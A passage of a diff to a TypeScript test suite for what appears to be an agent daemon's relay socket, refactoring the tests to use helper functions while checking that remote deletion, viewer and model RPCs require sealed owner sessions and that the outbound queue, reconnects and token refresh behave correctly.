CloseAgentServiceexpect(encryptDownFrame('agents_cleanup_preview')).toBe(true)expect(encryptRpcResult('agents_cleanup_preview_result')).toBe(true)- await (socket as any).dispatchDown({ type: 'agents_cleanup_preview', payload: { requestId: 'unsealed' } }, 'remote')+ await dispatchDown(socket, { type: 'agents_cleanup_preview', payload: { requestId: 'unsealed' } }, 'remote')expect(cleanupPreview).not.toHaveBeenCalled()socket.handleLocalFrame('local:cleanup', { type: 'agents_cleanup_preview', payload: { requestId: 'preview' } })const target = { agentId: 'a', sessionId: 's', createdAt: '2026-10-01T00:00:00.000Z', mode: 'now', onlyIfHidden: true }@@ -71,7 +72,7 @@ describe('safe session close RPC', () => {{ activity: 'idle', sessionId: '' },{ activity: 'working', sessionId: '' },] as const)('uses $activity activity for session "$sessionId" even with another live viewer', async ({ activity, sessionId }) => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const frames: any[] = []for (const connId of ['local:close', 'local:other']) {socket.registerLocalClient(connId, {@@ -136,7 +137,7 @@ describe('safe session close RPC', () => {})it('requires encrypted remote frames and never blocks unrelated inventory while saving', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')bindAgentList(socket)const frames: any[] = []socket.registerLocalClient('local:close', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })@@ -147,7 +148,7 @@ describe('safe session close RPC', () => {const payload = { requestId: 'closing', agentId: 'fixture', sessionId: 'history', createdAt: '2026-09-30T12:00:00.000Z', mode: 'idle' }expect(encryptDownFrame('agent_close')).toBe(true)expect(encryptRpcResult('agent_close_result')).toBe(true)- await (socket as any).dispatchDown({ type: 'agent_close', payload }, 'remote')+ await dispatchDown(socket, { type: 'agent_close', payload }, 'remote')expect(request).not.toHaveBeenCalled()socket.handleLocalFrame('local:close', { type: 'agent_close', payload })socket.handleLocalFrame('local:close', { type: 'agents_list', payload: { requestId: 'inventory' } })@@ -162,31 +163,32 @@ describe('safe session close RPC', () => {describe('reviewed permanent deletion RPCs', () => {afterEach(() => vi.restoreAllMocks())it('tells a relayed client whose sealed frame finds no session that its session is gone, and only then', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const internals = socket as any- const sent = () => internals.queue.map((item: { msg: unknown }) => item.msg)+ const sent = () => upstreamOf(socket).queue.map((item: { msg: unknown }) => item.msg)const sealed = { type: 'message', payload: { __e2e: { v: 1, k: 'p', n: 3, ct: 'fixture' } } }- await internals.dispatchDown(sealed, 'web:gone')+ await dispatchDown(socket, sealed, 'web:gone')expect(sent()).toContainEqual({ t: 'up', targetConnId: 'web:gone', frame: { type: 'e2e_session_unknown', payload: { refused: { type: 'message', n: 3 } } } })// A frame that does not open on a live session is dropped without a word.const before = sent().length- vi.spyOn(internals.e2ee, 'sessionGone').mockReturnValue(null)- await internals.dispatchDown(sealed, 'web:live')+ vi.spyOn(gatewayOf(socket).e2ee, 'sessionGone').mockReturnValue(null)+ await dispatchDown(socket, sealed, 'web:live')expect(sent()).toHaveLength(before)})it('tells a relayed client whose terminal bytes find no session that its session is gone', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const internals = socket as anyconst { sealTerminalBinary } = await import('./lib/terminalBinary.js')const raw = sealTerminalBinary(new Uint8Array(32).fill(7), 9, { kind: 1, streamId: '00112233-4455-6677-8899-aabbccddeeff', seq: 1, bytes: new TextEncoder().encode('ls\r'), compressed: false })!- internals.enqueueTerminalBinary('web:gone', raw)- await internals.downChains.get('web:gone')- expect(internals.queue.map((item: { msg: unknown }) => item.msg)).toContainEqual({ t: 'up', targetConnId: 'web:gone', frame: { type: 'e2e_session_unknown', payload: { refused: { type: 'terminal_binary', kind: 1, n: 9 } } } })+ const gateway = gatewayOf(socket) as any+ gateway.enqueueTerminalBinary('web:gone', raw)+ await gateway.downChains.get('web:gone')+ expect(upstreamOf(socket).queue.map((item: { msg: unknown }) => item.msg)).toContainEqual({ t: 'up', targetConnId: 'web:gone', frame: { type: 'e2e_session_unknown', payload: { refused: { type: 'terminal_binary', kind: 1, n: 9 } } } })})it.each(['agent_purge', 'agent_worktree_delete'])('%s requires an owner, explicit identity and a review token', async type => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const internals = socket as any, frames: any[] = []socket.registerLocalClient('local:purge', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })const request = vi.fn(async () => ({ reviewId: 'review', sessionBytes: 4096 }))@@ -195,32 +197,32 @@ describe('reviewed permanent deletion RPCs', () => {const payload = { requestId: 'delete', agentId: 'selected', sessionId: 'history', createdAt: 1234, mode: 'inspect' }expect(encryptDownFrame(type)).toBe(true)expect(encryptRpcResult(type + '_result')).toBe(true)- await internals.dispatchDown({ type, payload }, 'remote')+ await dispatchDown(socket, { type, payload }, 'remote')expect(request).not.toHaveBeenCalled()- const role = vi.spyOn(internals.e2ee, 'sessionRole').mockReturnValue('device')- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue({ type, payload })- vi.spyOn(internals.e2ee, 'wrapRpcReply').mockReturnValue({ type: type + '_result', payload: { __e2e: 'sealed' } })+ const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('device')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({ type, payload })+ vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: type + '_result', payload: { __e2e: 'sealed' } })const sealed = { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(request).not.toHaveBeenCalled()role.mockReturnValue('web')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(request).toHaveBeenCalledOnce()request.mockClear()for (const invalid of [{ ...payload, sessionId: undefined }, { ...payload, createdAt: '1234' }, { ...payload, mode: 'delete' }]) {- await internals.dispatchDown({ type, payload: invalid }, 'local:purge', 'local')+ await dispatchDown(socket, { type, payload: invalid }, 'local:purge', 'local')}expect(request).not.toHaveBeenCalled()expect(frames.filter(f => f.payload.error === 'INVALID_DELETE_REQUEST')).toHaveLength(3)- await internals.dispatchDown({ type, payload: { ...payload, mode: 'delete', reviewId: 'review', path: '/reviewed', discardChanges: true } }, 'local:purge', 'local')+ await dispatchDown(socket, { type, payload: { ...payload, mode: 'delete', reviewId: 'review', path: '/reviewed', discardChanges: true } }, 'local:purge', 'local')expect(request).toHaveBeenCalledWith(expect.objectContaining({ reviewId: 'review', path: '/reviewed', discardChanges: true }))request.mockClear()- await internals.dispatchDown({ type, payload: { ...payload, mode: 'describe' } }, 'local:purge', 'local')+ await dispatchDown(socket, { type, payload: { ...payload, mode: 'describe' } }, 'local:purge', 'local')expect(request).toHaveBeenCalledTimes(type === 'agent_worktree_delete' ? 1 : 0)request.mockClear()- await internals.dispatchDown({ type, payload: { ...payload, mode: 'delete', reviewId: 'review', choices: { sessionData: false, worktreeData: 'yes' } } }, 'local:purge', 'local')+ await dispatchDown(socket, { type, payload: { ...payload, mode: 'delete', reviewId: 'review', choices: { sessionData: false, worktreeData: 'yes' } } }, 'local:purge', 'local')expect(request).not.toHaveBeenCalled()- await internals.dispatchDown({ type, payload: { ...payload, includeWorktree: true, choices: { sessionData: false, worktreeData: true } } }, 'local:purge', 'local')+ await dispatchDown(socket, { type, payload: { ...payload, includeWorktree: true, choices: { sessionData: false, worktreeData: true } } }, 'local:purge', 'local')expect(request).toHaveBeenCalledWith(expect.objectContaining({ includeWorktree: true, choices: { sessionData: false, worktreeData: true } }))await socket.stop()})@@ -229,7 +231,7 @@ describe('reviewed permanent deletion RPCs', () => {describe('local model lifecycle RPCs', () => {afterEach(() => vi.restoreAllMocks())it('a slow catalog never blocks terminal or agent inventory, and errors stay redacted', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')bindAgentList(socket)socket.setHarnessGridName('home')serveModels(socket)@@ -249,12 +251,12 @@ describe('local model lifecycle RPCs', () => {})it('rejects unencrypted remote lifecycle requests before reaching the model service', async () => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const models = serveModels(socket)const routed = vi.spyOn(models, 'route')const act = vi.spyOn(LocalModels.prototype, 'act')for (const type of ['grid_fleet_model_download', 'grid_fleet_model_start', 'grid_fleet_model_stop']) {- await (socket as any).dispatchDown({ type, payload: { requestId: 'unsafe', modelId: 'fixture/model' } }, 'remote')+ await dispatchDown(socket, { type, payload: { requestId: 'unsafe', modelId: 'fixture/model' } }, 'remote')}expect(routed).not.toHaveBeenCalled()expect(act).not.toHaveBeenCalled()@@ -264,13 +266,13 @@ describe('local model lifecycle RPCs', () => {describe('confirmed harness pause replies', () => {it.each(['unsupported', 'unconfirmed', 'confirmed'] as const)('%s stop never sends a false success', async state => {- const socket = new BackendSocket('fixture')+ const socket = relaySocket('fixture')const frames: any[] = []socket.registerLocalClient('local:pause', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })if (state !== 'unsupported') bindStopRequest(socket, async () => {if (state === 'unconfirmed') throw new AgentStopError('The process could not be verified.')})- await (socket as any).dispatchDown({ type: 'agent_delete', payload: { requestId: 'pause', agentId: 'fixture' } }, 'local:pause')+ await dispatchDown(socket, { type: 'agent_delete', payload: { requestId: 'pause', agentId: 'fixture' } }, 'local:pause')const reply = frames.find(frame => frame.type === 'agent_delete_result')?.payloadexpect(reply).toMatchObject(state === 'confirmed' ? { deleted: true } : {error: state === 'unsupported' ? 'UNSUPPORTED' : 'STOP_UNCONFIRMED',@@ -297,7 +299,7 @@ describe('agent_update opened: one "last used" for every app', () => {// Only the clock: the dispatch queue and vi.waitFor still run on real timers.vi.useFakeTimers({ toFake: ['Date'] })vi.setSystemTime(OPENED)- socket = new BackendSocket('fixture')+ socket = relaySocket('fixture')bindAgentUpdate(socket)frames = []socket.registerLocalClient('local:opened', { sendFrame: frame => { frames.push(frame); return true }, sendBinary: () => true })@@ -314,7 +316,7 @@ describe('agent_update opened: one "last used" for every app', () => {const replyTo = (requestId: string) => frames.find(frame => frame.type === 'agent_update_result' && frame.payload.requestId === requestId)?.payload/** What `handleLocalFrame` queues for a window on this computer, awaited so the clock stays put. */async function update(payload: Record<string, unknown>, requestId: string): Promise<any> {- await (socket as any).dispatchDown({ type: 'agent_update', payload: { requestId, ...payload } }, 'local:opened', 'local')+ await dispatchDown(socket, { type: 'agent_update', payload: { requestId, ...payload } }, 'local:opened', 'local')return replyTo(requestId)}const pushes = () => frames.filter(frame => frame.type === 'agent_synced')@@ -377,10 +379,10 @@ describe('agent_update opened: one "last used" for every app', () => {it('takes the open from a sealed remote session too — the phone, or another computer’s desktop via its relay', async () => {const internals = socket as anyconst clear = { type: 'agent_update', payload: { requestId: 'remote-1', agentId, opened: true } }- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(clear)- vi.spyOn(internals.e2ee, 'hasSession').mockReturnValue(true)- const sealedReply = vi.spyOn(internals.e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_update_result', payload: { __e2e: 'sealed' } })- await internals.dispatchDown({ type: 'agent_update', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote-conn')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const sealedReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'agent_update_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, { type: 'agent_update', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }, 'remote-conn')expect(sealedReply).toHaveBeenCalledWith('remote-conn', 'agent_update_result', 'remote-1',expect.objectContaining({ agent: expect.objectContaining({ id: agentId, lastOpenedAt: iso(OPENED) }) }))// ...and this computer's own window hears the new order like everyone else.@@ -388,7 +390,7 @@ describe('agent_update opened: one "last used" for every app', () => {})it('refuses an unsealed remote open like any other agent_update', async () => {- await (socket as any).dispatchDown({ type: 'agent_update', payload: { requestId: 'plain', agentId, opened: true } }, 'remote-conn')+ await dispatchDown(socket, { type: 'agent_update', payload: { requestId: 'plain', agentId, opened: true } }, 'remote-conn')expect(registry.byAgent(agentId)?.lastOpenedAt).toBeUndefined()expect(pushes()).toHaveLength(0)})@@ -396,74 +398,74 @@ describe('agent_update opened: one "last used" for every app', () => {describe('viewer forwarding authentication', () => {it.each(['command_bar', 'route_task', 'route_send'])('requires a sealed owner session for %s', async type => {- const socket = new BackendSocket('token'), internals = socket as any+ const socket = relaySocket('token'), internals = socket as anyconst request = vi.spyOn(socket.ownerCommands, 'request').mockResolvedValue({ ok: true })- vi.spyOn(internals.e2ee, 'hasSession').mockReturnValue(true)- const role = vi.spyOn(internals.e2ee, 'sessionRole').mockReturnValue('web')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')const clear = { type, payload: { requestId: 'one', text: 'fixture task' } }- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(clear)- const sealedReply = vi.spyOn(internals.e2ee, 'wrapRpcReply').mockReturnValue({ type: `${type}_result`, payload: { __e2e: 'sealed' } })- await internals.dispatchDown(clear, 'remote')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)+ const sealedReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: `${type}_result`, payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, clear, 'remote')expect(request).not.toHaveBeenCalled()const sealed = { type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }role.mockReturnValue('device')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(request).not.toHaveBeenCalled()role.mockReturnValue('web')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(request).toHaveBeenCalledWith('remote', type, clear.payload)expect(sealedReply).toHaveBeenCalledWith('remote', `${type}_result`, 'one', { ok: true })await socket.stop()})it('allows interactive viewers only on a sealed owner web connection or trusted loopback', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const internals = socket as anyconst request = vi.spyOn(socket.interactiveViewers, 'request').mockResolvedValue({ data: 'jpeg' })- vi.spyOn(internals.e2ee, 'hasSession').mockReturnValue(true)- const role = vi.spyOn(internals.e2ee, 'sessionRole').mockReturnValue('web')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')const clear = { type: 'viewer_surface', payload: { requestId: 'one', surfaceId: 'surface', agentId: 'a', op: 'frame' } }- vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(clear)- const reply = vi.spyOn(internals.e2ee, 'wrapRpcReply').mockReturnValue({ type: 'viewer_surface_result', payload: { __e2e: 'sealed' } })- await internals.dispatchDown(clear, 'remote')+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(clear)+ const reply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({ type: 'viewer_surface_result', payload: { __e2e: 'sealed' } })+ await dispatchDown(socket, clear, 'remote')expect(request).not.toHaveBeenCalled()const sealed = { type: 'viewer_surface', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }role.mockReturnValue('device')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(request).not.toHaveBeenCalled()role.mockReturnValue('web')- await internals.dispatchDown(sealed, 'remote')+ await dispatchDown(socket, sealed, 'remote')expect(request).toHaveBeenCalledWith('remote', clear.payload)expect(reply).toHaveBeenCalledWith('remote', 'viewer_surface_result', 'one', { data: 'jpeg' })socket.registerLocalClient('local:viewer', { sendFrame: () => true, sendBinary: () => true })- await internals.dispatchDown(clear, 'local:viewer')+ await dispatchDown(socket, clear, 'local:viewer')expect(request).toHaveBeenCalledWith('local:viewer', clear.payload)await socket.unregisterLocalClient('local:viewer')await socket.stop()})it('requires encryption and a web-role session remotely, while permitting trusted local clients', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const internals = socket as anyconst handle = vi.spyOn(socket.viewerForwarder, 'handle').mockImplementation(() => {})- const role = vi.spyOn(internals.e2ee, 'sessionRole').mockReturnValue('web')+ const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')const frame = { type: 'viewer_request', payload: { streamId: 'v', agentId: 'a' } }- const unwrap = vi.spyOn(internals.e2ee, 'unwrapDown').mockReturnValue(frame)- await internals.dispatchDown(frame, 'remote')+ const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue(frame)+ await dispatchDown(socket, frame, 'remote')expect(unwrap).not.toHaveBeenCalled()expect(handle).not.toHaveBeenCalled()const encrypted = { type: 'viewer_request', payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'fixture' } } }role.mockReturnValue('device')- await internals.dispatchDown(encrypted, 'remote')+ await dispatchDown(socket, encrypted, 'remote')expect(handle).not.toHaveBeenCalled()role.mockReturnValue('web')- await internals.dispatchDown(encrypted, 'remote')+ await dispatchDown(socket, encrypted, 'remote')expect(handle).toHaveBeenCalledWith('remote', 'viewer_request', frame.payload)socket.registerLocalClient('local:viewer', { sendFrame: () => true, sendBinary: () => true })- await internals.dispatchDown(frame, 'local:viewer')+ await dispatchDown(socket, frame, 'local:viewer')expect(handle).toHaveBeenCalledWith('local:viewer', 'viewer_request', frame.payload)handle.mockClear()- await internals.dispatchDown({ type: 'viewer_arbitrary', payload: {} }, 'local:viewer')+ await dispatchDown(socket, { type: 'viewer_arbitrary', payload: {} }, 'local:viewer')expect(handle).not.toHaveBeenCalled()await socket.unregisterLocalClient('local:viewer')await socket.stop()@@ -579,7 +581,7 @@ function parseSent(ws: InstanceType<typeof wsMock.MockWebSocket>): Array<Record</** A relay down-frame as a paired client sends it: sealed. The socket's E2EE session is stubbed to open* it back to `payload`, so the test exercises the RPC rather than the crypto (core.test.ts does that). */function sealedDown(socket: BackendSocket, connId: string, type: string, payload: Record<string, unknown>) {- const e2ee = (socket as any).e2ee+ const e2ee = gatewayOf(socket).e2eeif (!vi.isMockFunction(e2ee.unwrapDown)) {vi.spyOn(e2ee, 'unwrapDown').mockImplementation((_connId: unknown, f: any) => ({ ...f, payload: f.payload.__e2e.clear }))}@@ -632,8 +634,8 @@ function serveOn(socket: BackendSocket, serve: (host: ReturnType<typeof createSe/** The session a requester holds whenever its sealed request was opened. Replies of a sealed type go back* sealed to it; this stub seals them transparently, so a test reads the reply as the client does, opened. */function withSession(socket: BackendSocket, connId: string): void {- vi.spyOn(socket.e2ee, 'hasSession').mockImplementation((id) => id === connId)- vi.spyOn(socket.e2ee, 'wrapRpcReply').mockImplementation((_id, type, requestId, payload) => ({ type, payload: { requestId, ...payload } }))+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockImplementation((id) => id === connId)+ vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_id, type, requestId, payload) => ({ type, payload: { requestId, ...payload } }))}describe('BackendSocket outbound queue', () => {@@ -644,7 +646,7 @@ describe('BackendSocket outbound queue', () => {})it('queues web and device frames before open and flushes them in FIFO order', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws = wsMock.instances[0]@@ -665,7 +667,7 @@ describe('BackendSocket outbound queue', () => {it('sends a frame though the orchestrator watching the frames cannot read its state', async () => {// A full disk: reading the orchestrator's state makes its folder, and that threw out of every send,// so a turn's end never reached a window (e2e/diskfull.e2e.ts).- const socket = new BackendSocket('token')+ const socket = relaySocket('token');(socket as unknown as { orchestratorService: { ingest(): void; stop(): void } }).orchestratorService = {ingest: () => { throw new Error('ENOSPC: no space left on device, mkdir') }, stop: () => {},}@@ -682,7 +684,7 @@ describe('BackendSocket outbound queue', () => {// the core's event loop, and from then on every frame sent is handed to it.const stateDir = join(process.env.ADAPTER_DATA_DIR!, 'orchestrator')rmSync(stateDir, { recursive: true, force: true })- const socket = new BackendSocket('token')+ const socket = relaySocket('token')try {expect(socket.orchestratorRoleOf('agent-1')).toBeNull()expect(socket.orchestratorRoleOf('agent-2')).toBeNull()@@ -702,7 +704,7 @@ describe('BackendSocket outbound queue', () => {root: stateDir, directorId: 'agent-director', directorWorking: false, state: 'active', error: null,tasks: [task], messages: [], revision: 1, createdAt: 1, updatedAt: 1,}), { mode: 0o600 })- const socket = new BackendSocket('token')+ const socket = relaySocket('token')try {expect(socket.orchestratorRoleOf('agent-worker')).toEqual({ role: 'worker' })expect(socket.orchestratorRoleOf('agent-director')).toEqual({ role: 'director', busy: true })@@ -717,7 +719,7 @@ describe('BackendSocket outbound queue', () => {const stateDir = join(process.env.ADAPTER_DATA_DIR!, 'orchestrator')rmSync(stateDir, { recursive: true, force: true })writeFileSync(stateDir, 'not a folder')- const socket = new BackendSocket('token')+ const socket = relaySocket('token')try {expect(() => socket.orchestratorRoleOf('agent-1')).toThrow()} finally {@@ -727,8 +729,8 @@ describe('BackendSocket outbound queue', () => {})it('signed out, seals and queues nothing for a cloud link that never opens, and still serves its windows', async () => {- const socket = new BackendSocket('token')- const internal = socket as unknown as { e2ee: { wrapUp(frame: unknown): unknown; wrapCommander(frame: unknown): unknown }; queue: unknown[] }+ const socket = relaySocket('token')+ const internal = { e2ee: gatewayOf(socket).e2ee, get queue() { return upstreamOf(socket).queue } }const frames: Array<{ type?: unknown }> = []socket.registerLocalClient('local:window', { sendFrame: (frame) => { frames.push(frame); return true }, sendBinary: () => true })try {@@ -757,7 +759,7 @@ describe('BackendSocket outbound queue', () => {// CONNECTING forever: no 'open', so no heartbeat to terminate it, and `this.ws` set, so every// later connect() returned early. The daemon then showed "cloud reconnecting…" until restarted.vi.useFakeTimers()- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws1 = wsMock.instances[0]expect(ws1.options?.handshakeTimeout).toBe(15_000)@@ -785,7 +787,7 @@ describe('BackendSocket outbound queue', () => {// what every macOS DarkWake looked like from inside the daemon: the pre-sleep ping's pong never// came, so the first tick after wake terminated a link that was about to work again.vi.useFakeTimers()- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws = wsMock.instances[0]ws.open()@@ -808,7 +810,7 @@ describe('BackendSocket outbound queue', () => {// A backend busy streaming data can answer a control-frame ping late; the data itself is the// stronger proof, and the backend pings this socket every 25s on its own.vi.useFakeTimers()- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws = wsMock.instances[0]ws.open()@@ -846,7 +848,7 @@ describe('BackendSocket outbound queue', () => {vi.useFakeTimers()const statuses: boolean[] = []const { auth, calls } = authStub(async () => 'fresh-token')- const socket = new BackendSocket('0123456789abcdef0123456789abcdef', auth, (connected) => statuses.push(connected))+ const socket = relaySocket('0123456789abcdef0123456789abcdef', auth, (connected) => statuses.push(connected))const revoked = vi.fn()socket.onRevoked = revokedsocket.connect()@@ -872,7 +874,7 @@ describe('BackendSocket outbound queue', () => {it('keeps the session and backs off when the refresh merely fails', async () => {vi.useFakeTimers()const { auth } = authStub(async () => { throw new AuthSessionError('service unavailable', 'UNAVAILABLE') })- const socket = new BackendSocket('0123456789abcdef0123456789abcdef', auth)+ const socket = relaySocket('0123456789abcdef0123456789abcdef', auth)const revoked = vi.fn()socket.onRevoked = revokedsocket.connect()@@ -890,7 +892,7 @@ describe('BackendSocket outbound queue', () => {it('signs out only when the refresh token itself is rejected', async () => {vi.useFakeTimers()const { auth } = authStub(async () => { throw new AuthSessionError('refresh token is invalid', 'INVALID_REFRESH') })- const socket = new BackendSocket('0123456789abcdef0123456789abcdef', auth)+ const socket = relaySocket('0123456789abcdef0123456789abcdef', auth)const revoked = vi.fn()socket.onRevoked = revokedsocket.connect()@@ -907,13 +909,14 @@ describe('BackendSocket outbound queue', () => {it('keeps a frame queued when ws.send reports an error and retries after reconnect', async () => {vi.useFakeTimers()- const socket = new BackendSocket('token')+ const socket = relaySocket('token')socket.connect()const ws1 = wsMock.instances[0]ws1.open()ws1.failNextSend = new Error('boom')- socket.sendTo('conn-1', { type: 'e2e_rekey', payload: { n: 1 } })+ // A frame the gateway targets at one relayed connection (its own sends: the handshake, a rekey).+ ;(gatewayOf(socket) as any).sendTo('conn-1', { type: 'e2e_rekey', payload: { n: 1 } })expect(ws1.sent).toHaveLength(0)await vi.advanceTimersByTimeAsync(1_000)@@ -927,8 +930,8 @@ describe('BackendSocket outbound queue', () => {})it('routes e2e control frames to the handshake manager instead of the RPC fallback', async () => {- const socket = new BackendSocket('token')- const handle = vi.spyOn(socket.e2ee, 'handleFrame').mockReturnValue(true)+ const socket = relaySocket('token')+ const handle = vi.spyOn(gatewayOf(socket).e2ee, 'handleFrame').mockReturnValue(true)socket.connect()const ws = wsMock.instances[0]ws.open()@@ -947,18 +950,18 @@ describe('BackendSocket outbound queue', () => {})it('serves the opaque runtime catalog through the existing models_list RPC', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')serveModels(socket, { agents: { runtimeModels: async () => [{ id: 'runtime-v1:s1:codex:gpt-5.6-sol@high', displayName: 'GPT-5.6 Sol / High' },] } })socket.connect()const ws = wsMock.instances[0]ws.open()- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown').mockReturnValue({type: 'models_list', payload: { requestId: 'models-1' },})- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockReturnValue({+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockReturnValue({type: 'models_list_result', payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },})ws.message({@@ -981,7 +984,7 @@ describe('BackendSocket outbound queue', () => {})it('hands a request a service declared to the service router with who asked, and seals its answer to the requester', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const routed: Array<{ type: string; payload: Record<string, unknown>; asker: unknown }> = []socket.serviceRouter = (type, payload, asker, reply) => {routed.push({ type, payload, asker })@@ -992,10 +995,10 @@ describe('BackendSocket outbound queue', () => {socket.connect()const ws = wsMock.instances[0]ws.open()- const unwrap = vi.spyOn(socket.e2ee, 'unwrapDown')- vi.spyOn(socket.e2ee, 'hasSession').mockReturnValue(true)- const role = vi.spyOn(socket.e2ee, 'sessionRole').mockReturnValue('web')- const wrapReply = vi.spyOn(socket.e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({+ const unwrap = vi.spyOn(gatewayOf(socket).e2ee, 'unwrapDown')+ vi.spyOn(gatewayOf(socket).e2ee, 'hasSession').mockReturnValue(true)+ const role = vi.spyOn(gatewayOf(socket).e2ee, 'sessionRole').mockReturnValue('web')+ const wrapReply = vi.spyOn(gatewayOf(socket).e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({type, payload: { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } },}))const envelope = { __e2e: { v: 1, k: 's', n: 1, ct: 'ciphertext' } }@@ -1034,7 +1037,7 @@ describe('BackendSocket outbound queue', () => {})it('answers a request whose service is unavailable SERVICE_UNAVAILABLE, retryable, and goes on', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')// A request whose work reaches a service through its port, whose fallback is to fail (core/serviceHost.ts).bindTerminalRequests(socket, { applyTheme: () => { throw new ServiceUnavailableError('models', new Error('disk I/O error')) } })const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})@@ -1047,7 +1050,7 @@ describe('BackendSocket outbound queue', () => {})it('answers terminal_info, which the terminal streams pass over, and leaves every other terminal frame to them', async () => {- const socket = new BackendSocket('token')+ const socket = relaySocket('token')bindTerminalRequests(socket)// As in the daemon: a stream manager that takes its own frames and passes over the rest.const handleFrame = vi.fn(async (_connId: string, type: string) => type !== 'terminal_info' && type !== 'terminal_unknown')@@ -1070,7 +1073,7 @@ describe('BackendSocket outbound queue', () => {// A window that closes with requests in flight has them carried out, and their replies used to fall// through to the broadcast: a plaintext one to every other window and, unsealed, to the relay; a// sealed type to the relay as a targeted error (e2e/windows.e2e.ts). One answer of each kind.- const socket = new BackendSocket('token')+ const socket = relaySocket('token')const answers = new Map<string, (result: Record<string, unknown>) => void>()socket.serviceRouter = (type, payload, _asker, reply) => {if (type !== 'terminal_info' && type !== 'session_search') return false@@ -1103,13 +1106,13 @@ describe('BackendSocket outbound queue', () => {// The gone window's answers are said once, in the diagnostic log, and go nowhere: not into the// relay's queue, and not up the link once it opens.expect(log.mock.calls.filter(([line]) => String(line).includes('has gone'))).toHaveLength(1)- expect(JSON.stringify((socket as unknown as { queue: unknown[] }).queue)).not.toContain('gone-')+ expect(JSON.stringify(upstreamOf(socket).queue)).not.toContain('gone-')ws.open()expect(JSON.stringify(parseSent(ws))).not.toContain('gone-')// A request from the relay is still answered on the relay, sealed to the session that asked.- vi.spyOn(socket.e2ee, 'hasSession').mockImplementation((connId) => connId === 'web-1')- vi.spyOn(socket.e2ee, 'wrapRpcReply').mockImplementation((_connId, type) => ({ type, payload: { __e2e: { v: 1, k: 'p', n: 1, ct: 'ciphertext' } } }))- vi.spyOn(socket.e2ee, 'unwrapDown').mockReturnValueOnce({ type: 'terminal_info', payload: { requestId: 'relay-info', agentId: 'a1' } })+ vi.spyOn(gatewayOf(socket).e2ee, 